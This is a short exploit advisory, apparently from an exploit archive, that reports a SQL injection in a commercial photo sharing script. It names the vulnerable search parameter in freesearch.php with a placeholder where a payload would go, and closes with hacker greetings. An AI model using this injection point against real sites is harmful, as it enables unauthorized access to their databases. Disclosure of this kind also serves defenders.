Photo Sharing Script SQL Injection

`  
  
# Exploit Title: photo sharing script SQL injection Vulnerability  
# Date: 24/06/2010  
# Author: JaMbA  
# Script url: http://www.2daybiz.com/photosharing_script.html  
# Version: N/A  
# Tested on: Windows  
# CVE : ()  
  
:::::::::::::::::::::::::  
  
:::::::::::::::::::::::::  
  
=================Exploit======  
============  
  
  
  
[ EXPL0!T ]  
  
http://server/path/freesearch.php?search=2(SQL)  
  
  
  
===========================================================  
  
Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz  
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek  
And All Tunisian hacker  
  
=== SwT Labs ====  
  
  
  
`